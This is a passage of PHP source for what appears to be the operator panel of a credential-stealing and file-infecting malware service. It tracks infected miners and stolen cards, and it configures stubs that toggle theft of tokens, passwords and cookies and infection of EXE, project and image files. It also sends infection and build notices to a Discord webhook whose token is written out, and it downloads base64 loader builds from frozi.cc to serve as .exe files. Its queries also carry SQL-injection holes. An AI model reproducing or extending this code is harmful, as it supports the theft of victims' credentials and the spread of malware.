= $fiveMinutesAgo"; } else { $selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'"; $resultu = mysqli_query($conn, $selectu); $mytk = mysqli_num_rows($resultu); $selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'"; $resultan = mysqli_query($conn, $selectan); $mystole = mysqli_num_rows($resultan); $fiveMinutesAgo = time() - 360; $selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo"; } $resultanss = mysqli_query($conn, $selectana); $myaktv = mysqli_num_rows($resultanss); } function startsWith($haystack, $needle) { return strpos($haystack, $needle) === 0; } function sanitizeInput($input) { // Define the list of forbidden characters $forbiddenChars = ['(', ')', '=', '*']; $isac = '0'; // Check if the input contains any forbidden characters foreach ($forbiddenChars as $char) { if (strpos($input, $char) !== false) { // Forbidden character found, handle the error (you can customize this part) $isac = '1'; echo ''; } } if ($isac == '1') { echo ''; return 'NoSpecialChar'; } else { return htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); } } function generateBuildId() { $characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < 18; $i++) { $randomString .= $characters[rand(0, strlen($characters) - 1)]; } return $randomString . 'LCW022'; } function generateBuildIdPRE() { $characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < 18; $i++) { $randomString .= $characters[rand(0, strlen($characters) - 1)]; } return $randomString . 'PRE017'; } function containsSpacesOrSpecialChars($str) { // Define a regular expression pattern to match spaces or special characters $pattern = '/[^\w\s]+/'; // Use preg_match to check if the pattern is found in the string if (preg_match($pattern, $str)) { return true; // The string contains spaces or special characters } else { return false; // The string does not contain spaces or special characters } } $successMessage = ''; if (isset($_POST["save"])) { $webhkk = sanitizeInput($_POST['webhook']); if (startsWith($webhkk, "https://discord.com/api/webhooks/") || startsWith($webhkk, "https://discordapp.com/api/webhooks/")) { $sql = "UPDATE accounts SET Webhook=? WHERE OwnerKey=?"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $webhkk, $secretkey); if ($stmt->execute()) { header("Refresh:0"); } else { header("Refresh:0"); } } else { echo ""; } } $DcWbhkHolder; // Query to fetch the value from the "wallet" column $sqlwallety = "SELECT Webhook FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here $resultwallety = mysqli_query($conn, $sqlwallety); if ($resultwallety->num_rows > 0) { // Display the value from the "wallet" column $rowanan = $resultwallety->fetch_assoc(); $walletValueRaw = $rowanan["Webhook"]; if (empty($walletValueRaw)) { $DcWbhkHolder = "You dont have an webhook setted! Please enter webhook url. You will recieve notifications about infections to this webhook."; } else { $displayWallet = (strlen($walletValueRaw) > 85) ? substr($walletValueRaw, 0, 85) . "..." : $walletValueRaw; $DcWbhkHolder = "Your saved webhook url is: " . $displayWallet; } } function ActionFilter($input) { if ($input == "enabled" || $input == "disabled") { return $input; } else { echo ''; header("Refresh:0"); return "disabled"; } } if (isset($_POST["CustomStb"])) { $Webhkka = sanitizeInput($_POST['walletgpu']); $TokenLG = ActionFilter($_POST['enableState']); $PassLG = ActionFilter($_POST['enable2State']); $CookieLG = ActionFilter($_POST['enable3State']); $EXEInfekt = ActionFilter($_POST['enable4State']); $VCXInfekt = ActionFilter($_POST['enable5State']); $SUOInfekt = ActionFilter($_POST['enable6State']); $ImgInfekt = ActionFilter($_POST['enable7State']); $GlobalInfekt = ActionFilter($_POST['enable8State']); if ((startsWith($Webhkka, "https://discord.com/api/webhooks/") || startsWith($Webhkka, "https://discordapp.com/api/webhooks/")) || empty($Webhkka)) { $finalstring = $TokenLG . "|" . $PassLG . "|" . $CookieLG . "|" . $EXEInfekt . "|" . $VCXInfekt . "|" . $SUOInfekt . "|" . $ImgInfekt . "|" . $GlobalInfekt . "|"; $sql = "UPDATE accounts SET StubConfig=?, Webhook=? WHERE OwnerKey=?"; $stmt = $conn->prepare($sql); $stmt->bind_param("sss", $finalstring, $Webhkka, $secretkey); if ($stmt->execute()) { if (empty($Webhkka)) { $DcWbhkHolder = "You dont have an webhook setted! Please enter webhook url. You will recieve notifications about infections to this webhook."; } else { $displayWallet = (strlen($Webhkka) > 85) ? substr($Webhkka, 0, 85) . "..." : $Webhkka; $DcWbhkHolder = "Your saved webhook url is: " . $displayWallet; } } else { } } else { echo ""; } } // Query to fetch the value from the "wallet" column $sqlStubConfig = "SELECT StubConfig FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here $resulStubConfig = mysqli_query($conn, $sqlStubConfig); if ($resulStubConfig->num_rows > 0) { // Display the value from the "wallet" column $rowanan = $resulStubConfig->fetch_assoc(); $gpusValueRaw = $rowanan["StubConfig"]; $RealGP = explode("|", $gpusValueRaw); $enabledisablestr; list($StubTokens, $StubPass, $StubCookie, $InfektEXE, $InfektVCX, $InfektSUO, $InfektIMGUO, $InfektGlobCPP) = $RealGP; if (empty($StubTokens)) { } else { if ($StubTokens == "enabled") { $enabledisablestr = $enabledisablestr . '1:1|'; } else if ($StubTokens == "disabled") { $enabledisablestr = $enabledisablestr . '1:0|'; } } if (empty($StubPass)) { } else { if ($StubPass == "enabled") { $enabledisablestr = $enabledisablestr . '2:1|'; } else if ($StubPass == "disabled") { $enabledisablestr = $enabledisablestr . '2:0|'; } } if (empty($StubCookie)) { } else { if ($StubCookie == "enabled") { $enabledisablestr = $enabledisablestr . '3:1|'; } else if ($StubCookie == "disabled") { $enabledisablestr = $enabledisablestr . '3:0|'; } } if (empty($InfektEXE)) { } else { if ($InfektEXE == "enabled") { $enabledisablestr = $enabledisablestr . '4:1|'; } else if ($InfektEXE == "disabled") { $enabledisablestr = $enabledisablestr . '4:0|'; } } if (empty($InfektVCX)) { } else { if ($InfektVCX == "enabled") { $enabledisablestr = $enabledisablestr . '5:1|'; } else if ($InfektVCX == "disabled") { $enabledisablestr = $enabledisablestr . '5:0|'; } } if (empty($InfektSUO)) { } else { if ($InfektSUO == "enabled") { $enabledisablestr = $enabledisablestr . '6:1|'; } else if ($InfektSUO == "disabled") { $enabledisablestr = $enabledisablestr . '6:0|'; } } if (empty($InfektIMGUO)) { } else { if ($InfektIMGUO == "enabled") { $enabledisablestr = $enabledisablestr . '7:1|'; } else if ($InfektIMGUO == "disabled") { $enabledisablestr = $enabledisablestr . '7:0|'; } } if (empty($InfektGlobCPP)) { } else { if ($InfektGlobCPP == "enabled") { $enabledisablestr = $enabledisablestr . '8:1'; } else if ($InfektGlobCPP == "disabled") { $enabledisablestr = $enabledisablestr . '8:0'; } } } if (isset($_POST["tcpsend"])) { $icourl = sanitizeInput($_POST['iptcp1']); $exname = sanitizeInput($_POST['exname']); $PreStub = ActionFilter($_POST['enable9State']); $icoerror = 0; $exerror = 0; $exnamewrro = 0; $babayerro = 0; if ((is_null($icourl) || $icourl == '') || startsWith($icourl, "https://cdn.discordapp.com/attachments/")) { if (containsSpacesOrSpecialChars($exname) || preg_match('/\s/', $exname)) { $exnamewrro = 1; } else { } if (empty($exname)) { $babayerro = 1; } if (!is_null($exname) && !empty($exname)) { // Check if the string contains ".ico" if (strpos($exname, ".exe") !== false) { $exerror = 1; } else { } } else { } if (!is_null($icourl) && !empty($icourl)) { // Check if the string contains ".ico" if (strpos($icourl, ".ico") !== false) { } else { $icoerror = 1; } } else { } $tcpchecktt1 = "SELECT * FROM builder WHERE OwnerID = '$secretkey' AND (Status = '1' OR Status = '2')"; $tcpchecktt = mysqli_query($conn, $tcpchecktt1); $tcpnolurnomaz = '0'; if ($tcpchecktt) { while ($rowen = mysqli_fetch_assoc($tcpchecktt)) { // Get the current timestamp $currentTimestamptcp = time(); // Get the ActionSentTime timestamp $buildtime = intval($rowen['BuildTime']); $timeDifference = $currentTimestamp - $buildtime; if ($timeDifference >= 10 * 360) { } else { $tcpnolurnomaz = '1'; } } } if ($babayerro == '1') { echo ''; } else { if ($exnamewrro == '1') { echo ''; } else { if ($exerror == '1') { echo ''; } else { if ($icoerror == '1') { echo ''; } else { $curtime = time(); $buildid; if ($PreStub == "disabled") { if ($role != "Trial") { $carlos; $CheckLCC = "SELECT * FROM licenses WHERE OwnerID = '$secretkey'"; $CheckLCCQuery = mysqli_query($conn, $CheckLCC); $statsak; if ($CheckLCCQuery) { while ($RowLC = mysqli_fetch_assoc($CheckLCCQuery)) { // Get the current timestamp $CurTmsp = time(); // Get the ActionSentTime timestamp $UsedTime = intval($RowLC['UsedTime']); $Durt = intval($RowLC['Duration']); $statsak = $RowLC['Type']; $Endy = $UsedTime + $Durt; if ($Endy > $CurTmsp && $statsak == "1") { $carlos = "ok"; } } if ($carlos == "ok" || $role == "Founder") { $buildid = generateBuildIdPRE(); } else if ($statsak == "2") { echo ''; header("Refresh:0"); } else if ($statsak == "0") { echo ''; header("Refresh:0"); } else { echo ''; header("Refresh:0"); } } } else { echo ''; header("Refresh:0"); } } else { $buildid = generateBuildId(); } $inserttcp = "INSERT INTO builder (OwnerID, BuildKey, ExeName, Icon, Extra, Status, BuildTime) VALUES (?, ?, ?, ?, 'no', '0', ?)"; if ($stmttc = mysqli_prepare($conn, $inserttcp)) { // Bind variables to the prepared statement as parameters mysqli_stmt_bind_param($stmttc, "sssss", $secretkey, $buildid, $exname, $icourl, $curtime); // Execute the prepared statement if (mysqli_stmt_execute($stmttc)) { // The query was successful $url = "https://discord.com/api/webhooks/1407333400003612763/MZx6juTOskWzjSWsfQc2TkkeZVLG6ufVoUdHNOB7Lc52NI9-j9_peEDhB5HPBzvQPXfe"; $headers = ['Content-Type: application/json; charset=utf-8']; $messages = 'BuildOwner: ' . $username . ' Name: ' . $exname . ' BuildID: ' . $buildid . ' Icon: ' . $icourl; $POST = ['username' => 'Dos Logs', 'content' => $messages]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($POST)); $response = curl_exec($ch); // Remote file URL $fileUrl = "https://frozi.cc/Stb/Loaders/" . $buildid . ".txt"; sleep(50); $fileContent = file_get_contents($fileUrl); if ($fileContent !== false) { // File exists, process it // Decode the base64 data sleep(2); $decodedData = base64_decode($fileContent); // Create a unique filename for the zip file $zipFileName = $exname . '_build.zip'; // Create a zip archive $zip = new ZipArchive(); if ($zip->open($zipFileName, ZipArchive::CREATE) === TRUE) { // Add the exe file to the zip archive $zip->addFromString($exname . '.exe', $decodedData); $zip->close(); // Set the appropriate headers for zip file download header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename=' . $zipFileName); // Output the zip file readfile($zipFileName); // Delete the temporary zip file unlink($zipFileName); echo ''; exit; // Exit the script } else { // Unable to create zip archive die('Unable to create zip archive'); } } } else { // An error occurred } // Close the statement mysqli_stmt_close($stmttc); } else { // An error occurred while preparing the statement echo "Error: " . mysqli_error($conn); } } } } } } else { echo ""; } } ?>